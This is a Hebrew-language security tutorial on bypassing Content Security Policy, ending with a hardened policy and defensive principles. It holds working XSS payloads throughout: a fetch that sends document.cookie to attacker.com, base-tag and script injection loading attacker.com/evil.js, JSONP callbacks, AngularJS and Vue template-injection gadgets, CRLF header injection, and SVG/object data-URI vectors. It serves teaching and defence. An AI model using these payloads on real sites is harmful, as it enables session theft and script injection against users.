לדלג לתוכן

עקיפת CSP - CSP Bypass

סקירת Content Security Policy

מדיניות אבטחת תוכן (CSP) היא מנגנון הגנה בדפדפן שמגביל את המשאבים שדף אינטרנט יכול לטעון ולהריץ. המטרה העיקרית היא למנוע התקפות XSS על ידי הגבלת מקורות הסקריפטים המותרים.

כותרת CSP נשלחת כ-HTTP Header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'

הנחיות עיקריות - Directives

הנחיה תפקיד
default-src ברירת מחדל לכל סוגי המשאבים
script-src מקורות מותרים לסקריפטים
style-src מקורות מותרים לסגנונות CSS
img-src מקורות מותרים לתמונות
connect-src מקורות מותרים לחיבורים (XHR, fetch, WebSocket)
frame-src מקורות מותרים ל-iframes
font-src מקורות מותרים לגופנים
object-src מקורות מותרים ל-object, embed, applet
base-uri מגביל את ערכי תגית base
form-action מגביל את היעדים של טפסים

דיווח CSP - Reporting

ניתן להגדיר CSP במצב דיווח בלבד כדי לזהות הפרות בלי לחסום:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

הגרסה החדשה משתמשת ב-report-to:

Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"/csp-report"}]}

הדפדפן שולח דוח JSON עם פרטי ההפרה:

{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src 'self'",
    "blocked-uri": "https://evil.com/malicious.js",
    "original-policy": "default-src 'self'; script-src 'self'"
  }
}

עקיפה 1: שימוש חוזר ב-Nonce

כאשר CSP משתמש ב-nonce סטטי או צפוי, ניתן לנצל אותו:

Content-Security-Policy: script-src 'nonce-abc123'

אם השרת מגדיר nonce קבוע או שניתן לחזות אותו:

<!-- הסקריפט הלגיטימי -->
<script nonce="abc123">
  console.log("legitimate");
</script>

<!-- הזרקת התוקף עם אותו nonce -->
<script nonce="abc123">
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

מצב נוסף - כאשר ה-nonce נחשף בתגובת השרת ואפשר לקרוא אותו דרך הזרקה:

// אם יש לנו injection point שמאפשר קריאת DOM
let nonce = document.querySelector('script[nonce]').nonce;
let s = document.createElement('script');
s.nonce = nonce;
s.textContent = 'alert(document.domain)';
document.body.appendChild(s);

עקיפה 2: חוסר base-uri - הזרקת תגית base

כאשר ה-CSP לא מגביל את base-uri, ניתן להזריק תגית <base> שתשנה את הנתיב הבסיסי לטעינת סקריפטים יחסיים:

Content-Security-Policy: script-src 'self' 'nonce-random123'

שימו לב - אין הגבלה על base-uri. אם הדף טוען סקריפט יחסי:

<script src="/js/app.js"></script>

התוקף מזריק:

<base href="https://attacker.com/">

עכשיו הדפדפן יטען את הסקריפט מ-https://attacker.com/js/app.js - שרת התוקף.


עקיפה 3: נקודות קצה JSONP על דומיינים מורשים

כאשר CSP מרשה דומיינים גדולים כמו Google, ניתן לנצל נקודות קצה JSONP:

Content-Security-Policy: script-src 'self' https://accounts.google.com

נקודות קצה JSONP מאפשרות שליטה בתוכן הסקריפט דרך פרמטר callback:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>

דוגמאות נוספות לנקודות JSONP נפוצות:

<!-- Google -->
<script src="https://www.google.com/complete/search?client=chrome&q=xss&callback=alert(1)//"></script>

<!-- דומיינים שונים עם JSONP -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>

עקיפה 4: עקיפה דרך פריימוורקים - Angular/Vue/React

כאשר CDN של פריימוורק מורשה, ניתן לנצל template injection:

Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com

עקיפה עם AngularJS:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>
  {{$eval.constructor('alert(document.domain)')()}}
</div>

עקיפה עם גרסאות ישנות של Angular:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.min.js"></script>
<div ng-app>
  {{'a'.constructor.prototype.charAt=[].join;$eval('x=1}}};alert(1)//')}}
</div>

Vue.js template injection:

<div id="app">{{constructor.constructor('alert(1)')()}}</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>new Vue({el:'#app'})</script>

עקיפה 5: ניצול unsafe-eval

כאשר script-src כולל 'unsafe-eval':

Content-Security-Policy: script-src 'self' 'unsafe-eval'

ניתן להשתמש בכל פונקציה שמבצעת eval:

// eval ישיר
eval('alert(document.domain)');

// דרך Function constructor
new Function('alert(document.domain)')();

// דרך setTimeout/setInterval עם מחרוזת
setTimeout('alert(document.domain)', 0);
setInterval('alert(document.domain)', 1000);

// דרך import()
import('data:text/javascript,alert(document.domain)');

עקיפה 6: עקיפת strict-dynamic

strict-dynamic מאפשר לסקריפט מאושר (עם nonce) לטעון סקריפטים נוספים:

Content-Security-Policy: script-src 'nonce-random123' 'strict-dynamic'

אם יש injection בתוך סקריפט מאושר:

<script nonce="random123">
  // injection point
  let userInput = "'; let s=document.createElement('script'); s.src='https://attacker.com/evil.js'; document.body.appendChild(s); //";
</script>

עקיפה נוספת - ניצול script elements שכבר קיימים בדף:

// אם יש injection שמאפשר שליטה ב-src של סקריפט שטוען דינמית
document.querySelector('#dynamic-loader').src = 'https://attacker.com/evil.js';

טכניקת ה-base-uri פועלת גם כאן כי strict-dynamic לא מגן על base-uri:

<base href="https://attacker.com/">
<!-- סקריפטים שנטענים דינמית עם נתיב יחסי יגיעו מהתוקף -->

עקיפה 7: הזרקת מדיניות דרך CRLF או פרמטרים

כאשר ניתן להזריק תווי CRLF לתוך כותרת HTTP:

GET /page?lang=en%0d%0aContent-Security-Policy:%20script-src%20'unsafe-inline' HTTP/1.1

זה יכול ליצור כותרת CSP חדשה שתדרוס את הקיימת. הזרקת פרמטרים למדיניות:

https://example.com/page?csp=script-src%20'unsafe-inline'

אם השרת מכניס פרמטרים לתוך CSP:

// קוד שרת פגיע
header("Content-Security-Policy: script-src " . $_GET['domain']);

הזרקה:

?domain='unsafe-inline'%3Bscript-src%20

עקיפה 8: אחסון סקריפטים על CDN מורשה

כאשר CDN שלם מורשה:

Content-Security-Policy: script-src https://cdn.jsdelivr.net

התוקף מעלה קובץ זדוני לשירות שמתארח על אותו CDN:

<!-- jsdelivr מאפשר לטעון קבצים ישירות מ-GitHub/npm -->
<script src="https://cdn.jsdelivr.net/gh/attacker/repo@main/evil.js"></script>

דוגמה נוספת עם unpkg:

Content-Security-Policy: script-src https://unpkg.com
<script src="https://unpkg.com/attacker-package@1.0.0/evil.js"></script>

עקיפה 9: שימוש באלמנטים SVG להרצת סקריפטים

אלמנטי SVG יכולים להכיל סקריפטים:

<svg onload="alert(document.domain)">

עקיפה מתקדמת יותר עם SVG ו-use:

<svg>
  <use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'><a xlink:href='javascript:alert(1)'><rect width='100' height='100'/></a></svg>#x">
  </use>
</svg>

שימוש ב-animate לביצוע JavaScript:

<svg>
  <animate onbegin="alert(document.domain)" attributeName="x" dur="1s">
  </animate>
</svg>

SVG עם foreignObject:

<svg>
  <foreignObject width="100" height="100">
    <iframe srcdoc="<script>alert(1)</script>">
    </iframe>
  </foreignObject>
</svg>

עקיפה 10: שימוש ב-Object ו-Embed

כאשר object-src לא מוגבל:

Content-Security-Policy: script-src 'self'

שימו לב - default-src לא מוגדר ו-object-src לא מוגבל:

<object data="data:text/html,<script>alert(document.domain)</script>" type="text/html"></object>

<embed src="data:text/html,<script>alert(document.domain)</script>" type="text/html">

ניצול Flash (בדפדפנים ישנים):

<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
  <param name="AllowScriptAccess" value="always">
</object>

כלי CSP Evaluator

כלי של Google לבדיקת חוזק מדיניות CSP:

https://csp-evaluator.withgoogle.com/

שימוש בכלי מבוסס שורת פקודה:

# בדיקת CSP של אתר
curl -sI https://example.com | grep -i content-security-policy

# ניתוח CSP
python3 -c "
csp = \"default-src 'self'; script-src 'self' https://cdn.jsdelivr.net 'unsafe-eval'\"
directives = csp.split(';')
for d in directives:
    d = d.strip()
    print(f'[*] {d}')
    if 'unsafe-eval' in d:
        print('    [!] DANGEROUS: unsafe-eval allows code execution')
    if 'unsafe-inline' in d:
        print('    [!] DANGEROUS: unsafe-inline allows inline scripts')
    if '*' in d:
        print('    [!] DANGEROUS: wildcard allows any source')
"

טבלת עקיפות מרוכזת

מדיניות חולשה עקיפה
script-src 'nonce-static' nonce קבוע שימוש חוזר ב-nonce
ללא base-uri אין הגבלה על base הזרקת <base href>
script-src *.google.com JSONP קריאה ל-JSONP עם callback זדוני
script-src cdn.jsdelivr.net CDN פתוח העלאת סקריפט זדוני ל-CDN
script-src 'unsafe-eval' eval מותר eval(), Function(), setTimeout()
script-src 'strict-dynamic' אמון מדורג יצירת script מתוך סקריפט מאושר
ללא object-src plugins <object> או <embed> עם data URI
CSP דרך HTTP CRLF injection הזרקת כותרת CSP חדשה

הגנה - CSP מחוזק

מדיניות CSP מחמירה ומומלצת:

Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-{RANDOM}' 'strict-dynamic';
  style-src 'nonce-{RANDOM}';
  img-src 'self';
  font-src 'self';
  connect-src 'self';
  frame-src 'none';
  object-src 'none';
  base-uri 'none';
  form-action 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;
  report-to csp-endpoint

עקרונות להגנה חזקה:

  • שימוש ב-nonce חד-פעמי ואקראי לכל בקשה
  • הימנעות מ-unsafe-inline ו-unsafe-eval
  • הגבלת base-uri ל-'none' או 'self'
  • הגבלת object-src ל-'none'
  • צמצום מקסימלי של דומיינים מורשים
  • הפעלת דיווח כדי לזהות ניסיונות עקיפה
  • בדיקה תקופתית עם CSP Evaluator

סיכום

עקיפת CSP היא אחד התחומים המרכזיים בתקיפות צד לקוח מתקדמות. הבנת המנגנון לעומק מאפשרת לזהות חולשות במדיניות ולנצל אותן. CSP חזק דורש תשומת לב לכל ההנחיות, לא רק ל-script-src. ככל שהמדיניות יותר מצמצמת ומדויקת, כך היא קשה יותר לעקיפה.